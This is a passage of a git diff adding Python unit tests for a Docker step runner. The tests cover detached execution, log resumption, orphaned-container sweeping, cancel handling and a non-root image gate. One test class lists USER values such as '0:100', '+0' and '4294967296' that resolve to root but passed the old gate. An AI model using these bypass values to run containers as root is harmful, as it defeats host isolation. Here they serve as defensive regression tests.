the streamer thread runs. - def __init__(self, lines, returncode=0, block=False): - import threading as _t + Sets ``drained`` once its lines have been consumed, so a test can hold the + container "running" until the live output has actually been delivered — + otherwise the state poll could see the container stop before the streamer + thread is ever scheduled, and the assertions would race. + """ - self.returncode = returncode + def __init__(self, lines=(), timestamped=True): + self.returncode = 0 self.kill_count = 0 - self._killed = _t.Event() - if block: - def _gen(): - self._killed.wait(timeout=5) - return - yield # pragma: no cover - makes this a generator - self.stdout = _gen() - else: - self.stdout = iter(lines) + self.drained = threading.Event() - def wait(self, timeout=None): - return self.returncode + def _gen(): + # --timestamps is always on, so the daemon prefixes every line with + # an RFC3339 stamp the runner strips before emitting. + for i, line in enumerate(lines): + yield f"2026-08-05T10:30:{i:02d}.000000000Z {line}" if timestamped else line + self.drained.set() + + self.stdout = _gen() def kill(self): self.kill_count += 1 - self.returncode = -9 - self._killed.set() + def wait(self, timeout=None): + # Only an *attached* run would wait on this child. Supported so that a + # regression to the attached form fails on the assertion that names the + # problem, rather than on a missing attribute here. + return self.returncode -def _gate(image_user: str = "1000", pull_rc: int = 0, inspect_rc: int = 0): - """Patch the pre-run pull + image-user inspect that run_step performs. - run_step pulls and vets the image (non-root gate) via subprocess.run before - starting the container, so every run_step test has to stand that in. +class _FakeDocker: + """Stand-in for every ``docker`` call one step makes. + + Detached execution issues a handful of short calls — pull, image inspect, + the detached run, state polls, logs, rm — instead of a single attached + ``docker run``, so a test stands in a whole docker rather than one + subprocess. The state poll reports "running" until the follow has drained. """ - def _fake_run(argv, **kwargs): + + def __init__(self, image_user="1000", pull_rc=0, inspect_rc=0, run_rc=0, + exit_code=0, logs="", follow=None, follows=None, + stays_running=False, on_run=None): + self.image_user = image_user + self.pull_rc = pull_rc + self.inspect_rc = inspect_rc + self.run_rc = run_rc + self.exit_code = exit_code + self.logs = logs + self.follow = follow if follow is not None else _FakeFollow() + # A script of successive follow attempts, consumed one per Popen. An + # exception entry is raised, standing in for a follow that cannot be + # restarted. While the script has entries left the container reports + # "running", so the poll can never outrun the streamer thread. + self.follows = list(follows) if follows else [] + self.follow_dead = threading.Event() + # `docker ps` output for the pre-step workspace sweep, and an optional + # side effect for `docker logs` so a failing catch-up read is testable. + self.ps_result = "" + self.logs_side_effect = None + self.stays_running = stays_running + self.on_run = on_run + self.calls: list[tuple[list[str], dict]] = [] + + def run(self, argv, **kwargs): + self.calls.append((list(argv), kwargs)) + if "ps" in argv: + return MagicMock(returncode=0, stdout=self.ps_result, stderr="") + if "kill" in argv: + return MagicMock(returncode=0, stdout="", stderr="") + if "logs" in argv and self.logs_side_effect is not None: + return self.logs_side_effect(argv, **kwargs) if "pull" in argv: - return MagicMock(returncode=pull_rc, stdout="", stderr="pull failed") - return MagicMock(returncode=inspect_rc, stdout=image_user + "\n", stderr="") + return MagicMock(returncode=self.pull_rc, stdout="", stderr="pull failed") + if "image" in argv: # image inspect → the non-root gate + return MagicMock(returncode=self.inspect_rc, stdout=self.image_user + "\n", stderr="") + if "run" in argv: + if self.on_run: + self.on_run(argv) + return MagicMock(returncode=self.run_rc, stdout="deadbeef\n", + stderr="" if self.run_rc == 0 else "no such image") + if "inspect" in argv: # the state poll + if self.follows: # the follow script has more to do + running = True + else: + running = self.stays_running or not ( + self.follow_dead.is_set() or self.follow.drained.is_set() + ) + return MagicMock(returncode=0, + stdout=f"{'true' if running else 'false'} {self.exit_code}\n", + stderr="") + if "logs" in argv: + return MagicMock(returncode=0, stdout=self.logs, stderr="") + return MagicMock(returncode=0, stdout="", stderr="") # kill / rm + + def popen(self, argv, **kwargs): + self.calls.append((list(argv), kwargs)) + nxt = self.follows.pop(0) if self.follows else self.follow + if isinstance(nxt, BaseException): + self.follow_dead.set() + raise nxt + return nxt + + def argvs(self, verb: str) -> list[list[str]]: + """Every recorded argv containing ``verb``, in order.""" + return [a for a, _ in self.calls if verb in a] + + def argv(self, verb: str) -> list[str]: + """The first recorded argv containing ``verb``.""" + return next(a for a, _ in self.calls if verb in a) + + def kwargs(self, verb: str) -> dict: + return next(k for a, k in self.calls if verb in a) + + def ran(self, verb: str) -> bool: + return any(verb in a for a, _ in self.calls) + + +@contextmanager +def _fake_clock(start=1000.0): + """Make ``time.sleep`` advance a fake ``time.monotonic``. + + The poll loop's tolerance for an unreachable endpoint is wall-clock, so + exercising it needs time to pass — but not real time. + """ + now = {"t": start} + + def _sleep(seconds): + now["t"] += seconds - return patch("subprocess.run", side_effect=_fake_run) + with patch("time.monotonic", lambda: now["t"]), patch("time.sleep", _sleep): + yield now + + +@contextmanager +def _docker(**kwargs): + """Patch out every docker call run_step makes (see :class:`_FakeDocker`). + + ``time.sleep`` becomes a short real sleep rather than a no-op so the poll + loop cannot starve the streamer thread, while keeping the test in + milliseconds. + """ + fake = _FakeDocker(**kwargs) + with patch("subprocess.run", side_effect=fake.run), \ + patch("subprocess.Popen", side_effect=fake.popen), \ + patch("time.sleep", lambda _seconds: _real_sleep(0.01)): + yield fake @pytest.mark.unit @@ -212,44 +338,59 @@ class TestNonRootGate: def test_root_users_are_detected(self, user): assert DockerRunner.is_root_user(user) is True - @pytest.mark.parametrize("user", ["1000", "nonroot", "1000:1000", "app"]) - def test_non_root_users_pass(self, user): + @pytest.mark.parametrize("user", ["1000", "1000:1000", "65532", "00065532"]) + def test_numeric_non_root_users_pass(self, user): assert DockerRunner.is_root_user(user) is False + @pytest.mark.parametrize("user", ["nonroot", "app", "toor"]) + def test_named_users_are_now_REFUSED(self, user): + """BREAKING CHANGE, deliberate — see the polarity note in is_root_user. + + These previously passed. A name cannot be resolved to a uid without the + image's own /etc/passwd, so `USER toor` mapped to uid 0 sailed through + the gate that exists to stop exactly that. The gate now refuses anything + it cannot prove is a non-zero decimal uid. + + Operational cost: an artifact image declaring `USER nonroot` (the + distroless convention) must switch to its numeric form (`USER 65532`). + The Kubernetes substrate already required this — runAsNonRoot is + kubelet-checked against a resolved numeric uid — so this makes the two + backends agree rather than introducing a new constraint. + """ + assert DockerRunner.is_root_user(user) is True + def test_run_step_refuses_a_root_image_and_never_starts_it(self): runner = DockerRunner() - with _gate(image_user=""), patch("subprocess.Popen") as popen: + with _docker(image_user="") as docker: result = runner.run_step(_spec()) assert result.success is False assert result.exit_code == 126 assert "runs as root" in result.stdout - popen.assert_not_called() # the container must never start + assert not docker.ran("run") # the container must never start def test_run_step_runs_a_non_root_image(self): runner = DockerRunner() - with _gate(image_user="1000"), patch( - "subprocess.Popen", return_value=_FakePopen(["ok\n"], returncode=0) - ) as popen: + with _docker(image_user="1000") as docker: result = runner.run_step(_spec()) assert result.success is True - popen.assert_called_once() + assert docker.ran("run") def test_failed_pull_fails_closed(self): runner = DockerRunner() - with _gate(pull_rc=1), patch("subprocess.Popen") as popen: + with _docker(pull_rc=1) as docker: result = runner.run_step(_spec()) assert result.success is False assert "Failed to pull" in result.stdout - popen.assert_not_called() + assert not docker.ran("run") def test_unreadable_image_user_fails_closed(self): # If we cannot prove the image is non-root, we do not run it. runner = DockerRunner() - with _gate(inspect_rc=1), patch("subprocess.Popen") as popen: + with _docker(inspect_rc=1) as docker: result = runner.run_step(_spec()) assert result.success is False assert "Could not read the image's USER" in result.stdout - popen.assert_not_called() + assert not docker.ran("run") def test_pull_is_digest_pinned_and_uses_the_authfile_config_dir(self): runner = DockerRunner() @@ -263,22 +404,19 @@ class TestRunStep: def test_run_step_streams_lines_and_maps_exit_zero(self): runner = DockerRunner() captured: list[str] = [] - fake = _FakePopen(["line 1\n", "line 2\n"], returncode=0) - with _gate(), patch("subprocess.Popen", return_value=fake) as mock_popen: + with _docker(follow=_FakeFollow(["line 1\n", "line 2\n"])) as docker: result = runner.run_step(_spec(), on_output=captured.append) assert result.success is True assert result.exit_code == 0 assert result.stdout == "line 1\nline 2\n" # Each line is delivered as its own callback (live), not one buffer at the end. assert "line 1" in captured and "line 2" in captured - _, kwargs = mock_popen.call_args - assert kwargs["env"]["DOCKER_HOST"] == runner.docker_host - assert kwargs["stderr"] == subprocess.STDOUT # merged for ordering + assert docker.kwargs("run")["env"]["DOCKER_HOST"] == runner.docker_host + assert docker.kwargs("logs")["stderr"] == subprocess.STDOUT # merged for ordering def test_run_step_failure_maps_nonzero_exit(self): runner = DockerRunner() - fake = _FakePopen(["boom\n"], returncode=2) - with _gate(), patch("subprocess.Popen", return_value=fake): + with _docker(follow=_FakeFollow(["boom\n"]), exit_code=2): result = runner.run_step(_spec()) assert result.success is False assert result.exit_code == 2 @@ -286,34 +424,618 @@ def test_run_step_failure_maps_nonzero_exit(self): def test_run_step_timeout_kills_and_returns_124(self): runner = DockerRunner() - fake = _FakePopen([], block=True) - with _gate(), patch("subprocess.Popen", return_value=fake): + # The container never stops on its own, so only the step's own deadline + # can end it — which is the guarantee detached execution restores. + with _docker(stays_running=True) as docker: result = runner.run_step(_spec(timeout_seconds=1)) assert result.success is False assert result.timed_out is True assert result.exit_code == 124 - assert fake.kill_count >= 1 + assert docker.ran("kill") - def test_run_step_writes_and_cleans_up_transient_authfile(self, tmp_path): + def test_run_step_writes_and_cleans_up_transient_authfile(self): runner = DockerRunner() captured = {} - def fake_popen(argv, **kwargs): + def check_authfile(argv): # The --config dir must exist with a config.json during the run. - cfg_idx = argv.index("--config") - cfg_dir = argv[cfg_idx + 1] + cfg_dir = argv[argv.index("--config") + 1] captured["cfg_dir"] = cfg_dir - import os - assert os.path.isfile(os.path.join(cfg_dir, "config.json")) - return _FakePopen([""], returncode=0) authjson = '{"auths": {"ghcr.io": {"auth": "dGVzdA=="}}}' - with _gate(), patch("subprocess.Popen", side_effect=fake_popen): + with _docker(on_run=check_authfile): result = runner.run_step(_spec(pull_authfile_json=authjson)) - import os - assert result.success is True # Cleaned up after the run. assert not os.path.exists(captured["cfg_dir"]) + + +@pytest.mark.unit +class TestDetachedExecution: + """The step must not depend on one long-lived request to the docker endpoint. + + An attached `docker run` parks a single HTTP request on + /containers/{id}/wait for the entire step, so any idle timeout on the + DOCKER_HOST path becomes a hard ceiling on step duration — the socket + proxy's haproxy `timeout client` defaults to 10m, which killed every longer + step with `unexpected EOF` (exit 125). These lock the detached + polled + execution that replaced it. + """ + + def test_run_step_starts_the_container_detached(self): + """The guard that matters: the detached path must be wired into the + runner that actually executes. + + Asserting on ``build_run_argv`` alone is not enough — it passes just as + happily when the implementation sits on the ABC and ``DockerRunner``'s + own ``run_step`` override (the attached form) is what really runs. + """ + runner = DockerRunner() + with _docker() as docker: + runner.run_step(_spec()) + argv = docker.argv("run") + assert "--detach" in argv + assert "--name" in argv + assert "--rm" not in argv + + def test_run_step_removes_the_container_it_started(self): + """``--rm`` is dropped so the exit code can be read back after the + container stops, which makes removal the runner's own job.""" + runner = DockerRunner() + with _docker() as docker: + runner.run_step(_spec()) + run_argv = docker.argv("run") + assert "--name" in run_argv, run_argv + name = run_argv[run_argv.index("--name") + 1] + assert docker.argv("rm")[-1] == name + + def test_detached_argv_names_the_container_and_drops_rm(self): + runner = DockerRunner() + argv = runner.build_run_argv(_spec(), detach=True, container_name="bnkforge-x-1") + assert "--detach" in argv + assert "--name" in argv and "bnkforge-x-1" in argv + # --rm would delete the container before its exit code can be read back. + assert "--rm" not in argv + + def test_attached_argv_is_unchanged(self): + """The attached form stays available and identical (back-compat).""" + argv = DockerRunner().build_run_argv(_spec()) + assert "run" in argv and "--rm" in argv + assert "--detach" not in argv + + def test_detach_without_a_name_is_rejected(self): + with pytest.raises(ValueError): + DockerRunner().build_run_argv(_spec(), detach=True) + + def test_generated_container_name_is_docker_legal(self): + import re as _re + + name = DockerRunner()._container_name( + _spec(component_key="p13/m21", step_name="registry replicate") + ) + assert _re.fullmatch(r"[a-zA-Z0-9][a-zA-Z0-9_.-]*", name), name + + def test_state_poll_reads_liveness_and_exit_code_in_one_call(self): + argv = DockerRunner().build_state_argv("c1") + assert argv[1:3] == ["inspect", "--format"] + assert "{{.State.Running}}" in argv[3] and "{{.State.ExitCode}}" in argv[3] + + def test_logs_argv_can_resume_after_a_dropped_stream(self): + argv = DockerRunner().build_logs_argv("c1", follow=True, since="1700000000") + assert argv[1] == "logs" + assert "--follow" in argv and "--since" in argv + + def test_await_exit_returns_the_container_exit_code(self): + runner = DockerRunner() + with patch("subprocess.run") as run: + run.return_value = MagicMock(returncode=0, stdout="false 7\n", stderr="") + code, timed_out, transport = runner._await_exit("c1", {}, 600, __import__("time").monotonic()) + assert (code, timed_out, transport) == (7, False, None) + + def test_await_exit_tolerates_a_transient_poll_failure(self): + """One failed poll is a blip — the container keeps running regardless.""" + runner = DockerRunner() + calls = [ + MagicMock(returncode=1, stdout="", stderr="temporary failure"), + MagicMock(returncode=0, stdout="false 0\n", stderr=""), + ] + with patch("subprocess.run", side_effect=calls), patch("time.sleep"): + code, timed_out, transport = runner._await_exit("c1", {}, 600, __import__("time").monotonic()) + assert (code, timed_out, transport) == (0, False, None) + + def test_await_exit_reports_a_sustained_endpoint_loss_as_transport(self): + """A dead endpoint must be named, not surfaced as a bare EOF.""" + runner = DockerRunner() + dead = MagicMock(returncode=1, stdout="", stderr="cannot connect to the docker daemon") + with _fake_clock() as now, patch("subprocess.run", return_value=dead): + code, timed_out, transport = runner._await_exit("c1", {}, None, now["t"]) + assert code == 125 and timed_out is False + assert "docker daemon" in (transport or "") + + def test_await_exit_waits_out_an_outage_shorter_than_the_grace(self): + """A proxy restart must not fail a step whose container is running fine. + + The container keeps running whether or not the endpoint is reachable, + so an outage is only a step failure once it is sustained. Ten failed + polls used to be the whole budget (~20s) — less than a container + restart, which made this the same 'infrastructure bounds the step' + failure the detached model exists to remove. + """ + runner = DockerRunner() + dead = MagicMock(returncode=1, stdout="", stderr="connection refused") + alive = MagicMock(returncode=0, stdout="false 0\n", stderr="") + # 60s of outage: far more than a poll interval, far less than the grace. + polls = [dead] * 30 + [alive] + with _fake_clock() as now, patch("subprocess.run", side_effect=polls): + code, timed_out, transport = runner._await_exit("c1", {}, None, now["t"]) + assert (code, timed_out, transport) == (0, False, None) + + def test_a_resumed_follow_resumes_from_the_daemon_timestamp(self): + """A dropped stream must not replay everything since it attached. + + `--since` carries the timestamp the DAEMON put on the last line, not the + worker's wall clock. Two properties in one: a resume repeats at most the + final second rather than the whole attach window, and it is immune to + skew between the worker and a remote docker host — `--since` is + interpreted daemon-side, and this design assumes a proxied DOCKER_HOST, + so the worker's clock is the wrong one to feed back. + """ + runner = DockerRunner() + stop = threading.Event() + state = {"last_seen": None, "gave_up": False} + argvs: list[list[str]] = [] + emitted: list[str] = [] + + class _Follow: + def __init__(self, lines): + self.stdout = iter(lines) + + def kill(self): + pass + + def fake_popen(argv, **kwargs): + argvs.append(argv) + if len(argvs) >= 2: + stop.set() # end the loop once the resume is observed + return _Follow( + ["2026-08-05T10:30:00.123456789Z a line\n"] if len(argvs) == 1 else [] + ) + + # The worker clock is deliberately nowhere near the daemon's stamp; if + # the resume used time.time() this would be a 2021 timestamp. + with patch("subprocess.Popen", side_effect=fake_popen), \ + patch("time.time", return_value=1609459200.0), \ + patch("time.sleep"): + runner._stream_logs("c1", {}, emitted.append, stop, state) + + assert "--timestamps" in argvs[0] + assert "--since" not in argvs[0] # first attach reads from the start + assert argvs[1][argvs[1].index("--since") + 1] == "2026-08-05T10:30:00.123456789Z" + # The prefix is consumed, not handed to the caller. + assert emitted == ["a line"] + + def test_a_line_without_a_timestamp_is_passed_through_intact(self): + """A daemon that omits the prefix must not lose the line's first token.""" + runner = DockerRunner() + stop = threading.Event() + state = {"last_seen": None, "gave_up": False} + emitted: list[str] = [] + + class _Follow: + def __init__(self): + self.stdout = iter(["plain output line\n"]) + + def kill(self): + pass + + class _EmptyFollow: + def __init__(self): + self.stdout = iter(()) + + def kill(self): + pass + + calls = {"n": 0} + + def fake_popen(argv, **kwargs): + calls["n"] += 1 + if calls["n"] >= 2: + stop.set() # end the loop only after the line is consumed + return _Follow() if calls["n"] == 1 else _EmptyFollow() + + with patch("subprocess.Popen", side_effect=fake_popen), patch("time.sleep"): + runner._stream_logs("c1", {}, emitted.append, stop, state) + + assert emitted == ["plain output line"] + assert state["last_seen"] is None, "no resume point rather than a bogus one" + + def test_a_follow_that_cannot_restart_reports_that_it_gave_up(self): + """The caller needs to know the follow died, or it truncates silently.""" + runner = DockerRunner() + state = {"last_seen": None, "gave_up": False} + with patch("subprocess.Popen", side_effect=OSError("no route to host")): + runner._stream_logs("c1", {}, lambda _line: None, threading.Event(), state) + assert state["gave_up"] is True + + def test_run_step_recovers_output_a_dead_follow_missed(self): + """A follow that dies part-way must not silently truncate the output. + + The step's RESULT is safe either way (it comes from the state poll), + but the artifact's own stdout is the only failure detail the engine + surfaces, so losing it is expensive on exactly the runs being debugged. + The old guard only re-read when the follow produced *nothing*, so a + follow that delivered one line and then died dropped all the rest. + """ + runner = DockerRunner() + with _docker( + follows=[_FakeFollow(["first\n"]), OSError("stream dropped")], + logs="second\n", # what `docker logs --since ` returns + ) as docker: + result = runner.run_step(_spec()) + + assert result.success is True + assert result.stdout == "first\nsecond\n" + # The catch-up read resumes from the last line, not the start of the run. + assert "--since" in docker.argvs("logs")[-1] + + def test_transport_failure_names_the_container_that_may_still_be_running(self): + """The message tells the operator the container may still be running, + so it has to give them the name they need to find and remove it.""" + runner = DockerRunner() + with _docker() as docker, patch.object( + DockerRunner, "_await_exit", return_value=(125, False, "connection reset by peer") + ): + result = runner.run_step(_spec()) + + run_argv = docker.argv("run") + name = run_argv[run_argv.index("--name") + 1] + assert result.exit_code == 125 + assert name in result.stderr + assert "timeout client" in result.stderr # still points at the likely cause + + def test_detached_run_is_labelled_for_reaping(self): + """Labels, not the container name, are what make an orphan findable. + + Dropping --rm moved cleanup into a `finally` a SIGKILLed worker never + reaches, so something has to answer "whose container is this?" after the + fact — which workspace it holds, and which task owned it. + """ + runner = DockerRunner() + argv = runner.build_run_argv( + _spec(workspace_volume="vol", workspace_subpath="7/bp-1", + celery_task_id="celery-abc"), + detach=True, container_name="bnkforge-x-1", + ) + labels = [argv[i + 1] for i, a in enumerate(argv) if a == "--label"] + assert "bnkforge.step=1" in labels + assert "bnkforge.workspace=7/bp-1" in labels + assert "bnkforge.task=celery-abc" in labels + + def test_attached_run_is_not_labelled(self): + """Back-compat: the attached form is untouched.""" + argv = DockerRunner().build_run_argv(_spec()) + assert "--label" not in argv + + def test_a_live_siblings_container_is_never_swept(self): + """The sweep must not kill another module's running step. + + workspace_subpath is SHARED by design: artifact_workspace_key returns the + deployment group for state:{scope:deployment}, so every module of a + blueprint deployment resolves to the same {project}/bp- subpath, + and parallel_tasks dispatches them in waves onto --concurrency=4 workers. + module_lock does not serialise them — it is keyed on module.id, so two + different modules sharing one workspace each hold their own lock. A sweep + on the workspace label alone force-removes a live sibling, and the victim + surfaces it as "Lost contact with the docker endpoint". + """ + runner = DockerRunner() + with _docker() as docker: + # A sibling module's container, owned by a different LIVE task. + docker.ps_result = "sibling123 celery-sibling\n" + with patch("services.execution_janitor.get_live_task_ids", + return_value={"celery-sibling", "celery-mine"}): + runner.run_step(_spec(workspace_volume="vol", workspace_subpath="7/bp-1", + celery_task_id="celery-mine")) + + assert not [a for a in docker.argvs("rm") if "sibling123" in a], \ + "a live sibling's container must never be force-removed" + + def test_our_own_predecessor_is_swept_even_though_its_task_is_live(self): + """Celery preserves task_id across retry(), so "owner is live" is true of + our own orphan. Sparing on liveness alone would reinstate the corruption + this sweep exists to prevent.""" + runner = DockerRunner() + with _docker() as docker: + docker.ps_result = "mine456 celery-mine\n" + with patch("services.execution_janitor.get_live_task_ids", + return_value={"celery-mine"}): + runner.run_step(_spec(workspace_volume="vol", workspace_subpath="7/bp-1", + celery_task_id="celery-mine")) + + assert [a for a in docker.argvs("rm") if "mine456" in a], \ + "our own predecessor from a retry must still be removed" + + def test_an_unowned_container_is_left_alone(self): + """No owner label predates the labelling — removing on a guess would kill + a running deployment, which is worse than the leak it recovers.""" + runner = DockerRunner() + with _docker() as docker: + docker.ps_result = "legacy789 \n" + with patch("services.execution_janitor.get_live_task_ids", return_value=set()): + runner.run_step(_spec(workspace_volume="vol", workspace_subpath="7/bp-1", + celery_task_id="celery-mine")) + + assert not [a for a in docker.argvs("rm") if "legacy789" in a] + + def test_a_degraded_live_lookup_sweeps_nothing(self): + """An unavailable lookup must not read as "nothing is running". + + get_live_task_ids() returns an empty set on any failure — import error, + no redis client, an exception mid-scan — and all three only log. Taken + literally that spares no sibling and rm --force's every container on a + shared workspace, which is the exact failure the ownership rule was + added to prevent, reached by a redis blip instead of a code path. It + needs no worker outage: this sweep runs on EVERY step. + """ + runner = DockerRunner() + with _docker() as docker: + docker.ps_result = "sibling123 celery-sibling\n" + with patch("services.execution_janitor.get_live_task_ids", return_value=set()): + runner.run_step(_spec(workspace_volume="vol", workspace_subpath="7/bp-1", + celery_task_id="celery-mine")) + + assert not [a for a in docker.argvs("rm") if "sibling123" in a], \ + "a degraded live-task lookup must not be read as 'nothing is running'" + + def test_a_step_clears_a_predecessor_still_holding_its_workspace(self): + """The corruption case, closed where it has to be. + + A worker killed mid-step leaves its container running. The janitor frees + the task, it is retried, and _container_name mints a fresh uuid — so + without this the orphan and the retry run CONCURRENTLY against the same + workspace volume subpath. A periodic reaper cannot close that: the retry + starts seconds after the worker returns. + """ + runner = DockerRunner() + with _docker() as docker: + # One container is already holding this workspace. + docker.ps_result = "deadbeefcafe celery-dead\n" + # {"celery-mine"} rather than set(): our own task is always in a + # healthy live set (task_prerun records it), so an empty set means + # the lookup failed, not that nothing is running. + with patch("services.execution_janitor.get_live_task_ids", + return_value={"celery-mine"}): + runner.run_step(_spec(workspace_volume="vol", workspace_subpath="7/bp-1", + celery_task_id="celery-mine")) + + assert docker.ran("ps"), "the workspace was never swept before the run" + assert "label=bnkforge.workspace=7/bp-1" in docker.argv("ps") + removed = [a for a in docker.argvs("rm") if "deadbeefcafe" in a] + assert removed, "the predecessor must be force-removed before the step starts" + # ...and before the container is started, not after it is already running. + calls = [a for a, _ in docker.calls] + first_rm = next(i for i, a in enumerate(calls) if "rm" in a and "deadbeefcafe" in a) + first_run = next(i for i, a in enumerate(calls) if "run" in a) + assert first_rm < first_run, f"swept at {first_rm}, started at {first_run}" + + def test_a_failing_catch_up_read_does_not_destroy_the_result(self): + """The step's outcome is already known by then — a log read must not lose it.""" + runner = DockerRunner() + + def explode(argv, **kwargs): + raise subprocess.TimeoutExpired(argv, 30) + + with _docker() as docker: + docker.logs_side_effect = explode + result = runner.run_step(_spec()) + + assert result.success is True, "a log-read timeout must not fail a successful step" + assert result.exit_code == 0 + + def test_step_timeout_is_enforced_by_the_poll_loop(self): + """The manifest's timeout_seconds is the ONLY thing that ends a step early.""" + runner = DockerRunner() + alive = MagicMock(returncode=0, stdout="true 0\n", stderr="") + with patch("subprocess.run", return_value=alive) as run, patch("time.sleep"): + # started far enough in the past that the deadline has already passed + code, timed_out, transport = runner._await_exit( + "c1", {}, 1, __import__("time").monotonic() - 3600 + ) + assert (code, timed_out, transport) == (124, True, None) + assert any("kill" in str(c) for c in run.call_args_list), "the container must be killed" + + +@pytest.mark.unit +class TestKillTaskContainers: + """Cancel needs to kill the daemon-side container, not just the client. + + Issue #462: revoke(terminate=True) SIGKILLs the worker-side client while the + detached step container keeps running against live infrastructure. This + reuses the same ``bnkforge.task`` ownership label the reaper reads, so a + cancel and a reap cannot disagree about who owns a container. + """ + + def test_kills_each_container_owned_by_the_task(self): + runner = DockerRunner(docker_host="tcp://docker-socket-proxy:2375") + calls = [] + + def fake_run(argv, **kwargs): + calls.append(argv) + if argv[1] == "ps": + return MagicMock(returncode=0, stdout="abc123\ndef456\n", stderr="") + return MagicMock(returncode=0, stdout="", stderr="") + + with patch("subprocess.run", side_effect=fake_run): + killed = runner.kill_task_containers("celery-mine") + + assert killed == ["abc123", "def456"] + # Selection is by the task ownership label, not by name or image. + assert "label=bnkforge.task=celery-mine" in calls[0] + assert calls[1][1:] == ["kill", "abc123"] + assert calls[2][1:] == ["kill", "def456"] + + def test_no_containers_running_returns_empty(self): + runner = DockerRunner(docker_host="tcp://docker-socket-proxy:2375") + with patch("subprocess.run", return_value=MagicMock(returncode=0, stdout="\n", stderr="")): + assert runner.kill_task_containers("celery-mine") == [] + + def test_empty_task_id_does_not_shell_out(self): + """A task with no celery id must not become an unfiltered `docker ps`.""" + runner = DockerRunner(docker_host="tcp://docker-socket-proxy:2375") + with patch("subprocess.run") as run: + assert runner.kill_task_containers("") == [] + run.assert_not_called() + + def test_unreachable_daemon_RAISES_rather_than_reporting_zero(self): + """"I killed nothing" and "I could not look" must not be the same answer. + + This previously returned [], which the caller could not distinguish from + a clean no-op — so it force-released the module lock while the container + was still running. The API image has no docker CLI at all, so this is + the DEFAULT outcome there, not an edge case. + """ + from services.execution.container_runner import ContainerKillUnavailableError + + runner = DockerRunner(docker_host="tcp://docker-socket-proxy:2375") + with patch("subprocess.run", side_effect=subprocess.TimeoutExpired("docker", 30)): + with pytest.raises(ContainerKillUnavailableError): + runner.kill_task_containers("celery-mine") + + def test_missing_docker_binary_also_raises(self): + """The exact API-image case: FileNotFoundError, not a timeout.""" + from services.execution.container_runner import ContainerKillUnavailableError + + runner = DockerRunner(docker_host="tcp://docker-socket-proxy:2375") + with patch("subprocess.run", side_effect=FileNotFoundError("docker")): + with pytest.raises(ContainerKillUnavailableError): + runner.kill_task_containers("celery-mine") + + def test_tolerates_a_container_exiting_between_ps_and_kill(self): + """ps → kill is inherently racy; a container that exits first is fine.""" + runner = DockerRunner(docker_host="tcp://docker-socket-proxy:2375") + + def fake_run(argv, **kwargs): + if argv[1] == "ps": + return MagicMock(returncode=0, stdout="abc123\ndef456\n", stderr="") + if argv[2] == "abc123": + return MagicMock(returncode=1, stdout="", stderr="No such container: abc123") + return MagicMock(returncode=0, stdout="", stderr="") + + with patch("subprocess.run", side_effect=fake_run): + killed = runner.kill_task_containers("celery-mine") + + assert killed == ["def456"], "an already-exited container must not abort the sweep" + + +@pytest.mark.unit +class TestRootUserGate: + """The non-root gate must key on the uid, not on a fixed set of strings. + + Issue #408.1: is_root_user() did exact-string membership against + {"", "0", "root", "0:0", "root:root"}. Docker's USER is `[:]`, + so `USER 0:100` runs as uid 0 and was NOT in the set — it passed the gate and + ran as root over the host-mounted workspace, defeating the boundary the + authoring guide documents as the protection. + """ + + @pytest.mark.parametrize("declared", [ + # Signed forms: runc falls back to strconv.Atoi, which accepts a sign, + # so these resolve to uid 0 — while str.isdigit() rejected them, so the + # old gate cleared the image. + "+0", "-0", + # "²".isdigit() is True but int("²") raises; the old code only failed + # closed by accident, because ContainerEngine._run_step swallows Exception. + "²", + "0x0", # not decimal — unprovable, therefore refused + ":0", # empty uid half + "toor", # named alias that may be uid 0 in the image's passwd + "nonroot", # named: unresolvable without the image's /etc/passwd + # Decimal uids whose low 32 bits are zero: runc's strconv.Atoi yields a + # 64-bit int and moby narrows it with uint32(), so these run as uid 0 + # while passing a `!= 0` check. + "4294967296", "8589934592", + "2147483648", # above the representable non-root range + "999999999999", + "0:100", # the reported bypass + "root:wheel", + "0:0", + "root:root", + "0", + "00", # zero-padded uid is still uid 0 + "root", + "", # no USER declared — daemon runs it as uid 0 + None, + " 0:100 ", # whitespace must not smuggle it past + "ROOT", + ]) + def test_root_images_are_detected(self, declared): + """Polarity: anything not PROVABLY a decimal uid must be refused. + + This aligns the Docker gate with the Kubernetes one, where + runAsNonRoot=True is kubelet-enforced against a resolved numeric uid and + a non-numeric USER is refused outright — the two backends previously + disagreed on the same security property. + """ + assert DockerRunner.is_root_user(declared) is True, ( + f"USER {declared!r} resolves to uid 0 but passed the non-root gate — " + "the image would run as root over the host-mounted workspace (#408.1)" + ) + + @pytest.mark.parametrize("declared", [ + "1000", + "1000:1000", + "65532:65532", + "10", + "00065532", # zero-padded decimal is still provably non-zero + "65536", # above 16-bit, but representable and non-zero + "2147483647", # top of the accepted range + ]) + def test_non_root_images_are_allowed(self, declared): + """Contrast: the gate must not start rejecting legitimate images.""" + assert DockerRunner.is_root_user(declared) is False + + +@pytest.mark.unit +class TestEveryClassInThisFileIsMarkedUnit: + """Guard against the #128 failure mode recurring in THIS file. + + Every test class here is decorated ``@pytest.mark.unit``. #1 and #2 both + appended a class after the same trailing marker; git resolved the add/add + by hoisting the marker into common context, so the class that came out + second was left bare -- 29 root-gate tests silently invisible to ``-m + unit`` while still passing by path. Nothing in CI can see that loss, + which is why it needs a test. + + Deliberately scoped to this file. The repo has no suite-wide convention + to enforce: 781 of ~890 classes under tests/unit carry no marker, and no + CI target selects by ``-m unit``. A suite-wide guard would be asserting a + rule nobody follows. This file DOES follow it, so keep it honest here. + """ + + def test_all_test_classes_carry_the_unit_marker(self): + import re + from pathlib import Path + + src = Path(__file__).read_text(encoding="utf-8") + lines = src.splitlines() + bare: list[str] = [] + for i, line in enumerate(lines): + m = re.match(r"^class (Test\w+)", line) + if not m: + continue + j = i - 1 + marked = False + # Walk back over decorators and blank lines to find the marker. + while j >= 0 and (lines[j].strip().startswith("@") or not lines[j].strip()): + if "pytest.mark.unit" in lines[j]: + marked = True + j -= 1 + if not marked: + bare.append(f"{m.group(1)} (line {i + 1})") + + assert not bare, ( + "test class(es) in this file lack @pytest.mark.unit -- a merge probably " + f"hoisted the marker onto the wrong class (see #128): {', '.join(bare)}" + ) diff --git a/backend/tests/unit/test_container_secret_redaction.py b/backend/tests/unit/test_container_secret_redaction.py new file mode 100644 index 00000000..ce18bcce --- /dev/null +++ b/backend/tests/unit/test_container_secret_redaction.py @@ -0,0 +1,116 @@ +"""Sensitive manifest inputs must reach the engine's redactor (issue #408.6). + +A step's argv is echoed verbatim to the task log and the module-log WebSocket. +secret_values was built from cloud-credential and pull values only, so an +artifact declaring `args: [..., "--token", 